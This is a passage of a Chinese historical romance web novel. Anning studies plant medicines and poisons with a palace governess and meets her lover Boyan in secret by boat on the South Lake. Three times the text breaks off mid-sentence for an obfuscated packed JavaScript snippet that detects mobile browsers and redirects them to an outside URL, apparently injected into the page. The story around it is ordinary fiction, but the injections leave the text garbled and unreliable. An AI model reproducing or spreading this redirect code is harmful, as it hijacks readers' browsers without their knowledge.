李月桦爱骑马,原本的院子里就带着马厩。曹婉疼爱安宁,将那马厩打扫干净,从开阳接了她的坐骑白马雪莲来,安宁回院子看见雪莲,开心地大叫一声跑上前保住了它的脖子,雪莲也低下头,喷着鼻息亲昵地蹭着安宁的脸。 一旁的空马厩里传来铃声,安宁回头一看,见那里面不知何时搭了个木桩,木桩上歇着一只巨大的金雕,如今用链子锁了爪子在桩子上。它看见主人,也伸展开巨大的翅膀扑腾着,掀起一阵狂风,带得爪子上的铃铛叮铃铃作响。 顾林书把猎鹰海翼同雪莲一同送到了京城。 “海翼!”安宁又是一声欢呼,扑了过去摸着海翼的头,海翼偏头看着她,眼睛晶亮。 曹婉笑看着她一会儿抱一抱雪莲的脖子,一会儿摸摸海翼的翅膀,可见也是想念它们得紧。她开口劝道:“如今都把它们接进了京,就能日日陪着你了,也不急于这一时同它们玩耍。你同珂柔去用午膳,过会儿等段妮到了,你们几个姐妹先一起去见一见嬷嬷。” 曹婉回府的时候带了顾珂柔同行。顾珂柔规规矩矩地同曹婉行礼目送她离开。安宁拉住姐姐的胳膊,拖着她去看雪莲和海翼:“这是我的雪莲,这是我的海翼,漂不漂亮?” 白色天马阳光下皮毛泛着淡粉的光泽,修长结实的身体,柔顺的大眼睛,没有女孩子能抵抗它的颜值。顾珂柔一见也十分喜欢,可海翼完全是猛禽,莫说张开翅膀,只是偏头看着她她便心里发怵不敢上前,退后几步:“我怕。” 安宁也知道海翼是猛禽,姐姐害怕在情理之中,挽着她的胳膊和她回了花厅去用午膳。 安宁从开阳带过来的行李尽都搬了过来,下人们抬着箱笼进进出出,白蔻和沉香马不停蹄地忙碌着,归置东西。安宁看了眼忙碌地院子,扭头看向顾珂柔:“姐姐,你的东西呢?” 顾珂柔道:“左右太师府距离国公府也不远,母亲的意思是让我早上过来,晚上回去,家里会安排马车接送。” 安宁突然想起什么:“走得急,忘了同朱四叔交代一声了。姐姐,你回府去了托人帮我同四叔说一声,就说我回了国公府。” 顾珂柔应了一声。 安宁在袖子里偷偷绞着手指,心里想的却是伯言。她有些忐忑不安。她被国公府接了回来,他应该是知道的吧?他既然派了人一直在太师府外守着,应该能收到消息。转念又一想,太师府在永兴门大街上,那里车水马龙人来人往的,他让人守着也不扎眼。可是通往大门的长街完全隶属于国公府,长街口有一牌匾,入了那牌匾开始,街两侧都是府里的围墙,里头就没有旁人,只有巡街的守卫。他还如何打探她的消息,她又如何想法子出去? 她不由得犯了难。 顾珂柔见妹妹皱起了眉头:“你在想什么呢?眉头皱得像山一样?” 安宁掩饰:“我就怕嬷嬷要求严苛,我学不好。” “不怕。”顾珂柔安慰她,“跟着嬷嬷说是学规矩,想来要学的东西无非就是礼仪、琴棋书画、插花茶艺一类。有我陪着你呢,别怕。” 安宁挽住姐姐的胳膊:“这些我统统只知道点皮毛,那你要多提点我。” 顾珂柔笑着点了点头。 夕阳西斜,天空泛起了暮色。顾珂柔乘车回了太师府,准备去青木居同母亲回一声话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她领着身后的众人,特意绕远了些,从另一条路去了青木居,没有走湖边的甬道。她快要走出花园的时候,回头看了一眼,见他还站在那处继续望着湖面出神。 国公府里,安宁在正院门口徘徊了好一阵,曹婉身边的于嬷嬷走了出来:“姑娘,进来罢。老夫人早就瞧见您了。” 安宁不好意思地笑了笑,跟着于嬷嬷进了院子。曹婉放下手里的茶盏看着她:“这是有什么事情不好说,在门口犹豫不决呢?” “祖母。”安宁脑子里想了好多借口,见着曹婉决定实话实说,“我想出去逛逛。” “现在?”曹婉看了眼外面的天色,马上就是掌灯时分,“你想去哪里?” “祖母。”安宁靠在曹婉身上,“我也不知道,就在这周围转转可好?” 曹婉原想说不让她出门,可看她可怜兮兮的样子,转念一想女儿小时候也是这般,刚从边城回来时,被拘在府里板脾气吃了不少苦,再看着这和李月桦相似的小脸,心不由得软了下来:“那便去吧。带上丫鬟和护卫,去南门大街,那边热闹也安全。不要去人少的地方。不要去太久,一个时辰便回来,行不行?” 安宁高兴地跳了起来:“好!祖母真好!保证一个时辰便回来!” 曹婉无可奈何地摇摇头吩咐于嬷嬷:“嘱咐人套车去吧。” 马车出了国公府,径直驶向南门大街。安宁忍不住掀开车帘往外看,四处打量着,不知道伯言会不会接到她出来的消息,能不能跟来。 “姑娘,我们去买饼果子吃吧!”白蔻和沉香也很高兴,白蔻想着街上好吃的,“还有那个……那个荷叶糕和豆糕也好吃!” 沉香白了她一眼:“成天就想着吃,你再吃下去,小肚子都圆了。” 安宁没有听丫鬟们说什么,她的心思全在外面,在伯言身上。她看着马车前后跟着的几十个护卫,放下车帘叹了口气无力地后靠,跟了这么多护卫,他如何来同她相见? 29. 28 马车停在了天香楼门口,小二见是国公府的车驾,赶紧小跑上前来迎:“贵客里面请!” 安宁下了车,问小二:“今日有没有木偶戏?” “有的有的!”小二认出了安宁,“顾二姑娘,我这就给您安排,您这边请!” 小二领着她绕开人来人往的大厅,径直去了二楼的包房,安顿她落座,赶紧吩咐侍女们上茶水茶果,自己则去叫木偶戏的那老爷子。 安宁看了眼白蔻:“你不是说想吃街上的饼果子还有糕?你下楼去买吧。” 白蔻高兴得睁大了眼睛:“真的吗姑娘?” 安宁吩咐沉香:“你陪她去。” 沉香迟疑了一下:“我们都去了,就只剩下了姑娘你一人……” 安宁没什么精神地斜撑着头:“有什么可担心的?这楼里这么多人,门口还有咱们带来的护卫守着。你陪她去吧,给我也带一份荷叶糕。” 沉香看看门口守着的两个护卫,放下了心。白蔻高高兴兴地拉着她下了楼。 安宁无聊地用手指绕着自己的头发,忍不住叹了口气。她是不是把他想得太厉害了?真是只要她出了门,他就能来寻她不成? 包房的门被人推开,有人搬了木偶戏的戏台进来在那处布置。门口的护卫往屋里看了一眼,见没有异常便又回过了头。侍女们重新上了一壶暖茶退了下去,轻轻关上了门。 她正一个人在那儿唉声叹气,就听见身旁响起一个熟悉的声音:“怎么一个人在这里叹气?” 她惊得跳了起来,回头一看不是伯言是谁?他穿着一身深色布衫,正站在那里笑着看她。原来方才搬戏台进来的人是他!安宁喜出望外:“你真的来了!” “我说过,只要你出来,我自会想法子来见你。”他走到她身边,“回国公府了是不是?” 她点头。 他又道:“这次很好。知道想着法出门同我相见。” 她道:“我今日若是不想法子出来,你定会生我的气。” 他看着她微笑:“你知道就好。” 他看了眼门口,这里随时会有人进来,说话不方便,他便长话短说:“国公府后头连着南湖,你明日酉时去湖边,我会来见你。” 她高兴地点了点头。 他看着她,似乎想将她拥进怀里,终究是顾虑良多,只是抬手捏了捏她的脸:“明日见。” 白蔻和沉香买完吃的回来,见安宁脸上的沉郁之色已经一扫而空。安宁见她二人回来便起了身:“拿钱去赏老爷子,咱们今日不看了,回府。” “姑娘。”白蔻惊讶地看着她,“这才刚出来。” 安宁吩咐她:“这戏时间太长,恐怕误了祖母让我回去的时辰。你同那老爷子说一声,让他明日戌时带着人去保国公府再演给我看。” 白蔻应下:“是。” 次日顾珂柔、段妮都准时到了国公府,和安宁一起同严嬷嬷进学。曹婉将她们学习的地方安置在安宁院子的花厅,第一日严嬷嬷拿了个册子进来,教她们识花草。 严嬷嬷虽然是专职教人规矩的,看着却并不严厉。到底是宫里出来的人,行动极有气度,同人说话时给人如沐清风之感,十分舒服。 她看着面前一字坐开的三个姐妹,:“国公夫人托了我教你们,我自然竭尽所能,倾囊相授,只盼诸位姑娘们跟着我这一场,能真正学到一些日后对你们有助益的东西,而非只是往后被人提起曾同我进学,白白落了个空名头。” 她拿起手里的册子给她们看,“咱们平日身边总是围绕着各种花花草草。古有神农尝百草,可见这些花草都有自己的药性,并非仅供观赏所用。或制香、或入药,互有助益或刑克,姑娘们哪怕只是懂一些皮毛,也能规避很多。” 规避什么她没有深讲。顾珂柔眼里露出了几丝明悟,深宫争斗大宅争宠,花草是药也是毒,严嬷嬷要教她们的东西果然如她所言对她们有助益。她不由得更加用心几分去听。 段妮一脸天真,并没有听懂严嬷嬷话里的深意。嬷嬷教,她学便是了。 唯有安宁人虽然坐在花厅里,心思却在别的地方。上面嬷嬷说的话就像风一样刮过了她的耳朵,她心里在想着昨日回来得太晚,回府不久便歇下。今日一大早又开始进学,这国公府她还没有好好逛上一逛。后头是连着南湖,也不知从那处如何出去,是不是也严加防守。想着再过几个时辰便要同伯言相见,她的心跳得砰砰的,有些甜蜜又有些紧张。 严嬷嬷视线扫过三个姑娘的脸,顾珂柔用心在听,段妮也算认真,唯有安宁眼神飘忽明显心思不在此处。严嬷嬷拿起手里的一簇小黄花问:“二姑娘可知道这是什么?” 安宁听见被点名回过了神,看着严嬷嬷手里的花儿摇了摇头:“不曾见过。” 段妮道:“这花儿倒好看,像大朵的风铃。” 严嬷嬷看向顾珂柔,用眼神鼓励她开口。顾珂柔道:“这花北地不曾见过,看着似乎有些干枯,嬷嬷是从南边儿得来的?” 严嬷嬷笑着肯定了顾珂柔的话:“这花叫钩吻,是我这次省亲的归途在路边采摘,眼下正是它开花的时节。正是因为北地没有,所以许多人都不识得。它可破积拔毒,祛瘀止痛,杀虫止痒。主治疥癞,痈肿,疔疮,跌打损伤,风湿痹痛。可它还有一个别名,叫断肠草,有剧毒,贸然食之则致命。” 这话引起了安宁的兴趣,她总算将注意力集中到了严嬷嬷的教学上。严嬷嬷见此心里轻轻松了一口气:“许多花草皆如此,看着虽美却有毒。再譬如夹竹桃,诸位姑娘们肯定都见过。它的花虽美,叶也可入药,但它通身及乳白色的汁液均有毒,稍有不慎同样也可致命。” 安宁问:“嬷嬷,那荷花呢?咱们平日里总吃荷花,想来是无毒,那它有药性吗?” 严嬷嬷笑着回应:“自然有。荷花内服可治疗暑热导致的烦躁、口渴及咯血、跌损呕血等,外用可治天疱湿疮。许多花草药性都有一些旁的不好的作用,荷花却没有,所以自古便入了食谱。” 每日里两个时辰的课很快便结束。安宁送姐姐妹妹出门,一边走一边道:“我原来以为跟着学规矩必然枯燥无味,就怕是被人绑在那里动弹不得,不曾想嬷嬷的课极为有趣。还没觉着过多久,今日便结束了。” 段妮道:“我也觉着嬷嬷的课有趣!平日看着那些花花草草只是觉得好看,没曾想有这么多功效。就是这课后的课业重了些,就怕下次嬷嬷提问我记不住回答不上来。” 顾珂柔安慰她:“回去好好温习,多花些时间和心思仔细记一记,总能记住。” 安宁将她们送到院门口:“我就不远送了,明日再见。” 院门口准备好了送她们出府的软舆,姐妹两同安宁道别,各自上了轿子离开。 安宁目送两姐妹走远,回头对跟着自己的白蔻道:“咱们回来了两日,国公府这般大,我还没有好好看过,现下得了空,你陪我逛一逛。” 白蔻问:“姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438098|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要准备软舆吗?” 安宁摇头:“步行吧。” 主仆两顺着路漫步而行,国公府还保留有当初东西两个大院落的布局。东边院落供居住,屋宇重叠。西边院落是院子,有花园、大湖、跑马场、演武场等等。如今连了后并进来的场地,南面儿同外头的南湖连接在了一起。 安宁走了约莫小半个时辰才总算到了后门处。眼前是连绵的院墙,墙上有一个角门落着锁。角门旁修有门房值守的屋子,此处也有护卫把守。 看见安宁门房赶紧出来迎她:“姑娘。” 院墙外种满了高大的垂柳,看那样子已经有数十年的岁头。风从院墙外头吹过来,吹来了湖水的气息。 安宁道:“把门打开,我出去看一看。” 门房立刻开了门,安宁出来一看才知道他为何如此干脆。从后门出来外面是一个不大的孤岛,南湖在眼前浩渺地铺陈,再无通往它处的陆路。孤岛上修筑有木亭和栈道码头,码头掩没在荷海之中。 安宁走进木亭向着远处眺望,只觉得心旷神怡。周围都是郁郁葱葱的树林,阻隔了外面窥视的视线,有鸟扑棱着翅膀从头顶飞过,湖水一波一波轻轻拍打着湖岸,安宁赞叹:“这里倒幽静。” 她回头看向白蔻:“咱们回去拿点吃的,再备了软舆过来,晚膳我要在此处用。” 严嬷嬷上完课去同曹婉回话,曹婉问道:“三个姑娘可还好?” “好,都是极好的孩子。”严嬷嬷回答,“大姑娘勤奋好学,二姑娘聪慧机敏,六姑娘虽然年龄小天真了些,却也认真。” 曹婉扭头问于嬷嬷:“姑娘呢?” 于嬷嬷应道:“姑娘下学后说要在院子里逛逛,先前去厨房拿了些吃的,又嘱咐人备了软舆,眼下去了南门的湖边凉亭玩去了。” 南面只有一座孤岛并不与外相通,曹婉放下心来:“由着她去吧。” 安宁在木亭里用完晚膳坐了良久,眼看着日头渐渐西斜,天空从碧蓝慢慢转为金黄。天边涌起了层层叠叠得金红色晚霞,晚风渐起,吹得荷海轻轻晃动。 她眼尖地看见前头的荷叶中似有小船前来,心中一喜站起了身,回头看了眼身旁的白蔻:“我觉着有些凉,你回去替我取个披风来。” 白蔻左右看了看:“姑娘,我走了只有你自己,你不害怕么?” 安宁伸手指了指远处开着的后门:“那处有门子还有护卫,这里又没有旁人能来,有什么可害怕的?” 白蔻应下:“那我去去就回。你不要去水边,在这等我。” 安宁挥挥手:“去吧去吧。” 从后门到自己院子,白蔻就算脚程再快,这一来一回也要大半个时辰的时间。看着她的身影从视线里消失,安宁快步出了木亭走到码头前端,果然荷叶分开,伯言划着一艘小船悄然而来。 他在下面站起身仰头笑看着她向她伸出了手,她满心欢喜地蹲下把手放在他手心,他顺势将她从码头上抱了下来。 这一抱他便没放手,迫不及待地寻到她的唇,将她紧紧拥在怀里。 他的胳膊像铁箍一样,安宁轻声抱怨:“你弄疼我了。” 他低声在她耳边开口:“我也疼。” 她不解:“你哪儿疼?” 他啄着她的唇,声音含糊不清:“想要,所以疼。” 她追问:“想要什么?” 他看着她一派天真的眼神,强压下翻腾的心火,捏了捏她的鼻子,避而不答。 30. 29 小船分开荷叶,在荷海中穿行,隐没在层层叠叠的叶片下。 伯言收了船桨放在船头,弯腰回到船篷,安宁正坐在那处眉眼弯弯地看着他。 他走到她身边和她一起依靠着并排落座,伸手将她拥住,她便柔顺地靠在他的肩头。 他低头亲昵地用脸颊蹭了蹭她的头发。湖水轻拥着小木船,微微摇晃。安宁感受着他的体温和怀抱,一点也不想说话。 “我以后若是不方便,会在木亭里给你留信。”他感受着她柔软的发丝,轻声开口,“信纸拿竹筒装了,藏在木亭的坐凳栏杆下,若是我不得空,你看了留言不要空等。” 她低声应下:“好。” 他问她:“想不想我?” 她有些害羞,仍是诚实地点了点头。他捧住她的脸让她看着他,轻叹一声:“我也想你。” 他轻轻吻住她的唇,哄诱她张口接纳他。 这样的亲昵诱惑住了她。她热情坦率又天真,她喜欢这样的他,喜欢他对她做这样的事,丝毫没有想过要拒绝,全凭着本能接受,然后反过来索求。 原本只是一个亲昵的吻,却在她的回应下逐渐加深。他突然抱起她将她整个人紧紧拥进怀里,方便他攫取更多。 她似乎整个人都融进了他的怀里,他的身体发烫,那热力透过衣物传递到了她身上。他的力道变得有些不受控制,放在她后背的手紧紧箍着她,让她疼痛而难以呼吸。 他的唇滑到了她耳后,摩挲着她的皮肤,激起了她莫名地颤栗。她听着他在耳边剧烈地呼吸,仿佛某种野兽,忽然让她觉得有些害怕,她推着他的肩头:“伯言……” 他含糊不清地回应她,并不想放手:“嗯。” 她娇憨地道:“不要弄乱我的头发。” 她尚且不知自己和他这般隐秘地独处在木船内,是将自己放在了怎样危险的境地。他再继续下去,她的前面便是万劫不复地悬崖,她却还想着不要弄乱了自己的头发。 他微微离开了她一些,低头看着她的眼睛,看见的是全然的依赖和信任。他问她:“你不怕我么?” “你生气的时候,我有点怕。”她着迷地看着他的脸,伸手轻轻顺着他的脸颊抚摸,“但是你现在没生气,我就不怕你。” 他长长地呼出一口气。两人纠缠间已经不知不觉地躺倒,他拉了她坐起身,替她拉好方才被他拉开一半的衣襟,漫不经心地道:“除了我,不要和别的男人这般独处。” 她低着头:“男女之防我还是懂的。” “你懂什么?!”他抓住她的手握在自己手里,“你要是真懂,怎么会在这里,我不是男人?” 她抬头不解地看着他:“那不是你吗?你又不是旁人。” 这句话莫名地取悦了他,让他露出了笑容。他嗯了一声:“对,除了我。” 船外有野鸭子扇着翅膀突然飞过,发出的响声惊动了二人。伯言到船舱口抬头看了眼天色,夕阳已经落到了地平线处,远处还余最后一丝红线。整个湖面已经飘起了青暮色的薄雾,暮色渐起。 “时辰不早了。”他转身握着她的手,拉她出了船舱,“我送你回去。” 她不舍地依偎在他怀里:“你明日也是这个时辰来?” “明日我不来。”他道,“过两日吧。隔两日,我再来。” 她压下了离别的不悦,依依不舍地低下头:“好吧。” 他知道她在想什么:“不是我不想见你。若是总如今日这般,我怕我控制不住。”他诚实地向她坦诚他对她的非分之想,“你总得让我也缓一缓,不要日日把我架在火上烤。” 她羞红了脸,心中却被喜悦充满,轻轻嗯了一声。 船行到码头,四下里一片安静。他将她抱上码头:“这两日不要等我。” 她应下,目送他划船消失在暮色葱茏的南湖荷塘里。 夜里突然落起了小雪,天明时整个京城已经笼罩在一层薄薄的白色积雪下。 白蔻推门进了房间,又赶紧回身关好门,不让外面的冷空气进入室内。内寝角落里留着照明的蜡烛早已熄灭,唯有一点天光从窗棂里透进来。白蔻重新点亮了房间里的灯,这才转身去挂起床上的幔帘:“姑娘,该起身了。” 安宁慢慢从睡意中清醒,这一觉睡得舒适绵长,她打着哈欠伸了个懒腰,揉着眼睛看向白蔻:“什么时辰了?” “辰时初。”白蔻应道,“姑娘快起来梳洗用膳吧,再过会儿,大姑娘和六姑娘该到了。” 安宁懒洋洋地坐起身,心中似觉有所期待,转念一想,昨日伯言说过,这两日他不会来,心里的那点期待便又散了去:“替我更衣吧。” 安宁换好衣裳梳洗完毕,沉香领着送早膳的小丫鬟进了房间。她后面跟着几个粗使婆子,安宁见她们同她行完礼便推开了内室的大门,拿出两卷厚厚的棉帘子来挂在门上,这时她才看见外面已经落了雪,她一时兴起,走到院子里仰头看着天空。 雪后的天空不再似秋日那般高远深蓝,灰蒙蒙地似乎压低了许多。天气变得更冷了些,薄雪盖在屋顶、盖在院子里花树的枝头。这雪下得突然,院子里还有些未褪残红的秋海棠,一夜间冻做了冰晶般的花朵。 “二妹妹/二姐姐。” 身后传来顾珂柔和段妮的声音。安宁回头,见大姐姐和六妹妹两人并肩而来。她们两都穿上了及地的棉披风,怀里抱着一个暖手的暖炉,她笑着迎了上去:“你们两今日倒到得早。” 三姐妹进了花厅,顾珂柔道:“娘见昨夜落雪,怕雪地路滑不好走,所以便让我提前了半个时辰出门,没成想路上积雪不厚人也不多,早早就到了。” 段妮道:“我也是。” 安宁的院子里人来人往,曹婉身边的于嬷嬷见三姐妹坐在花厅,过来行礼回话:“姑娘,昨儿个落了雪,老太太嘱咐着今日给院子里添几个取暖用的铜炉。” 安宁点点头。 一会儿就有人抬了三个一人多高的青铜镂空雕花大肚铜暖露进了院子。一个放置在安宁的内室,一个放置在东暖阁,还有一个放置在了她们上课的花厅角落。等安置好暖炉,厨房里的婆子又跟了来,拿上好的银霜炭放置进去引火,约莫一刻钟后,融融的暖意开始从暖炉里散发,室内慢慢变得温暖。 顾珂柔和段妮褪去了身上的棉披风。她早上一到,便一直打量着安宁,只觉得妹妹看上去似乎有些不同,但要说哪里不同,她又说不上来,那感觉十分微妙。安宁见大姐姐不错眼的打量自己,看了看自个儿:“姐姐,你为什么一直盯着我看,我身上有花儿不成?” 顾珂柔摇头:“我今日见你,总觉得你有些不同,却又说不出,便多看了你几眼。” 安宁下意识地去摸自己的眼睛:“难道我眼睛又肿了不成?” 她着急地起身走到花厅角落的铜镜前,却见镜子里映出一个娇俏的少女。女孩眉目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451173|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如画肌肤如玉,并无什么不妥,只是眉梢眼角间多了几丝不易察觉的娇媚情意。正如丁零地花骨朵转为将放未放的花苞,欲语还休。 她摸了摸自己的脸,转身看向姐姐,娇嗔道:“你就吓唬我。” 段妮吃了一个丫鬟送上来的茶果,一派天真的她丝毫没有察觉安宁的不同:“我看二姐姐还同往日一样漂亮,并无什么不同。” 顾珂柔疑惑地又多看了妹妹两眼,并没有深究。 安宁心里稍稍松了口气,暗自提醒自己,要多小心些。 未时初上完课的顾珂柔和段妮没有多留,眼看着天色一直不好阴沉沉地压在头顶,只怕还要落大雪,她们早早就回了府。安宁做完嬷嬷留的功课,看着窗外发了会儿呆,吩咐了白蔻一声,又起身走向后头的南湖。 薄雪同样覆盖了后头的柳树木亭和栈道。安宁惊讶地看见,短短一夜之间,昨日还在秋风里舒展巨大叶片的荷海尽数凋零。先前只是边上有些发黄打卷的荷叶不见踪影,湖面上只留下许多枯黄的断枝,看上去无比萧瑟。 但是没有了荷海阻碍视线,整个南湖毫无遮挡地在眼前铺陈,顿觉烟波浩渺。尤其今日天空黑云欲摧,湖水卷涌,似乎与天空连作一处。 安宁回身吩咐白蔻:“如今天这么冷,这四面八方都空荡荡地亭子怎么呆得住人?你回去找几个人来,把这亭子收拾收拾。” 白蔻应了一声,转身回去找人。 安宁走进木亭,慢慢走到坐凳栏杆上依栏而坐,撑着头看着眼前开阔的南湖。很远的对岸依稀可见有一座金红相见的宫殿座落在起伏得山脊上,那处便是皇宫。若是日头好的时候阳光照耀在金橙的琉璃宝顶上,即使在这里也能看见它发出的霞光。此时宫殿群落在迷雾中若隐若现,仿佛漂浮在半空之中。 她看着远处,突然站起了身,不敢置信地盯着湖面看了片刻,提起裙摆跑向了湖边的栈道。 一艘木船破开水浪而来,径直到了近前。伯言站在船头面带微笑地看着她,浪花扑起,打湿了他的衣摆。她也惊喜地看着他:“你怎么来了?!” 他停好船,她迫不及待地跳下去,他伸开双臂接住她,将她抱了个满怀。 “想见你,呆不住,所以就来了。”他在她耳边低声开口,随即放开了她一些,眼里带着笑意看着她,“不是说了这两日我不来,你怎么也来了?” “我也想你。”她毫不掩饰自己对他的思念和喜爱,“想见你,就来了。” 他的眼底涌起了一些莫名的东西,她看不懂。他拥着她进了船舱躲避外面的风浪,今日风大浪涌,小船即使栓在码头依然不稳,不停地摇晃着,让人十分不安。安宁依偎在他的怀里,却觉得满心都是喜悦。他握着她的手,她也反手握住他:“我还以为今日见不到你。” 他贴在她耳边,闻着属于她的气息。他只是安静地坐在她身旁没有碰她,却给了她比昨日还要大的压迫感。整个船舱似乎都只收缩成了他怀里这小小的一片,再无她可退避的空间。 她心里有些抖,稳了稳心神从怀里拿出一个手串,戴在他的手腕上。他的视线挪到那处:“这是什么?” “咱们初次相见,你替我选的兽牙。”她仔细地替他整理好,“我拿到金玉楼,那边的师傅给兽牙穿了孔,然后我又选了些宝石做配饰做成了手串。送给你。” 伯言的眼睛里,晦暗之色越深,他握住了她的手唤她的名字:“安宁。” 31. 30 风浪更大,木船十分不安稳。他对她道:“今日你早些回吧。外面风大,不要再在亭子里多耽搁。” 她依依不舍地看着他,今日两人匆匆见了一面,相处不过一刻钟他就要走。她不由得红了眼眶,但也听话地点头,嘱咐他:“这几日天气不好,水路不安全,你不要来了。” 他看着她那虽然不舍却极力掩饰地模样,捏了捏她的鼻尖:“不过是分别两日,你这模样,像再也见不到我了一般。” “呸呸呸。”安宁冲着一旁连呸了三声,“坏的不灵好的灵。你瞎说什么呢,哪儿有这么咒自己的?” 他毫不在意地笑了笑:“我不在乎这个。”他牵着她的手送她出了船舱,将她送上栈道,叮嘱她,“这几日不要再来了。” 她不舍地看着他,轻轻嗯了一声,目送着他划着木船渐渐走远,最终消失在灰色的水雾中。 傍晚时分又落起了雪,绵绵密密飘飘洒洒。随着夜色渐深,雪花越落越大,入夜时地上的积雪已经没过脚面。 屋子里的暖炉烧得通红,散发着熔融的暖意。安宁穿着寝衣披散着头发躺在床上,怀里抱着被子,没什么精神沉默地面朝墙一动不动。 见她早早就安寝,沉香悄无声息地关上房门,走到外间同白蔻说话:“这些日子我瞅着姑娘有些奇怪。” 白蔻浑然不觉:“哪儿奇怪了?” 沉香道:“她一时十分有精神头,一时又失魂落魄。你几时见过她这般?” 白蔻仔细想了想,啊了一声站起身:“莫不是今日在湖边吹了冷风受了些风寒?我去小厨房熬碗姜汤给姑娘驱驱寒。” 沉香没有拦她,转身在长椅上坐下,一边就着灯火做着手里的针线,一边想着安宁的事情。 大雪下了一宿,世界变作了苍茫的一片。 清晨几只鸟儿不知打哪儿飞了出来,在雪地里蹦蹦跳跳,忽然一下飞上枝头又扑棱着翅膀飞走,引得枝头颤动,簌簌地落下不少碎雪。 安宁正在用早膳,顾珂柔便到了。她虽然披着披风戴着帽子,仍是冻得小脸通红。安宁放下筷子起身去迎她:“姐姐今天到得这般早,快进来暖和暖和。” 顾珂柔一进屋子,便感觉到一股同室外截然不同的温暖。她褪下身上的厚棉披风:“今儿个路上积雪厚,好在五城兵马司的人组织了坊里的人天没亮就开始除雪,要不我还过不来呢。” 她转身看向身后跟着的丫鬟,后者会意行礼退下,不一会儿就见两个粗使婆子抬着两个大箱子进来。顾珂柔打开箱子:“这是上次咱们一起做的冬衣,还有做好的头面,我今日都给你带了过来。” 安宁欢呼一声,跑过去拿起新衣裳在自己身上比量。她选了淡紫色的料子做了一身,又选了雪青色的做了一身,她在铜镜前看了又看,回头问姐姐:“我穿哪身好看?” 顾珂柔坐下,接过丫鬟奉上的热茶喝了一小口,仔细打量着妹妹:“紫色的更好看。” 安宁便放下了雪青色的衣裳,拿着淡紫色的不停比量着。 她放下衣裳,又去看做好的头面。打开檀木匣子入眼便是各色宝石镶嵌的赤金项圈,上面用金丝缠了牡丹花纹路,凌云州的首饰工艺远远不及京城的老字号,她看得爱不释手。 她坐到姐姐身旁,不错眼地盯着她的脸看。顾珂柔奇怪地摸了摸自己的脸颊:“你看什么呢?” 安宁眼睛亮晶晶地盯着她:“姐姐,你好香。你的脸粉粉嫩嫩的,用的是什么胭脂水粉?这味道真好闻。” 顾珂柔笑了:“你喜欢我给你送一份过来就是。” 安宁搂住顾珂柔的脖子靠在她肩头:“大姐姐,你最好了!” 安宁和顾珂柔去了花厅上课,白蔻和沉香替她收拾着顾府送过来的东西。 白蔻一边拾掇着衣服一边感慨:“姑娘真是长大了,往日里只知道骑马射箭,如今也喜欢漂亮衣服和首饰,在意起打扮了。” 沉香正在收捡新做的首饰,闻言顿住了手上的动作。她扭头看向白蔻:“这些日子,姑娘总是让你陪她陪得多,你们有没有见过什么外人?” “哪里有什么外人?”白蔻手上不停,“姑娘下了学顶天就去后院湖边的木亭,整日整日的待在府里,哪有机会见外人。” 安宁下学送走了姐姐妹妹,回房吩咐白蔻拿出新做的那套淡紫色衣裳来换上,着意打扮了一番之后,便要去后院的湖边。 “姑娘。”白蔻出言阻拦,“昨夜落了那么大的雪,如今通往后湖的路上都是积雪,不好走。而且今日湖边一定很冷,还是不要去了吧。” 安宁站在廊下抬头看着天色,雪已经停了,天空恢复了光亮,不再似昨日那般阴沉沉地压在头顶,地上的积雪很厚,府里的主要路段下人们已经清理干净,但是通往后湖的路鲜少有人去,所以还被积雪覆盖着。 她突然问白蔻:“突然下这么大的雪,你说湖水会不会已经结冰了?” “没有这么快。这才刚进十一月呢。”白蔻道,“府里的月亮湖都还没结冰,何况后面的南湖?南湖水更深,不到腊月里,想来是不会冻住的。” 湖水还未封冻,木船便能来。昨日风大浪涌他都来了,今日雪停,他未必会不来。 安宁做了决定:“去后湖边上看看。” 白蔻拧不过她,只好陪她前去。 通往后湖的路不好走,两人深一脚浅一脚,等到了木亭处的时候,积雪进了鞋子里,鞋袜都湿了。 幸好白蔻已经叫人来收拾过木亭。木亭四周镶上了雕花的窗板和棉帘子挡风,亭子里备下了取暖用的铜盆和炭火。白蔻点燃了炭盆,两人一起围坐在火边烤鞋袜。 湖面广阔,冷风呼呼地刮着,吹得棉帘微微抖动。橘色的火光映着安宁的小脸,她期待地看着窗外,然而湖面上不见一艘船只的身影。 两人就这么枯坐了小半个时辰,打湿的鞋袜俱已烤干。白蔻见炭火燃得不似先前那般旺盛,往里加了点新炭:“姑娘,咱们在这枯坐了这么久,也该回去了吧?” 安宁仍是盯着远处的湖面:“再等等。” 白蔻把火烧得更旺了些,陪着安宁坐在一旁。坐着坐着不知不觉依靠着栏杆睡了过去,等她倏然惊醒的时候才发现外面天色已经暗了下来,四周围一片漆黑,唯有亭子里火盆的光还亮着,映着安宁的身影。 她似乎一直保持着那个姿势看着远处的湖面一动未动。 “姑娘。”白蔻打了个哈欠,活动着有些僵硬的身体,“天都黑了,咱们回吧。” 这一次安宁没有再拒绝,起身同她回了院落。 安宁去水房梳洗的时候,沉香拉住了白蔻。她看了看水房,拉得她走远了些:“你们今日去了哪里?怎么晚膳也没回来用,天黑了才回来?” 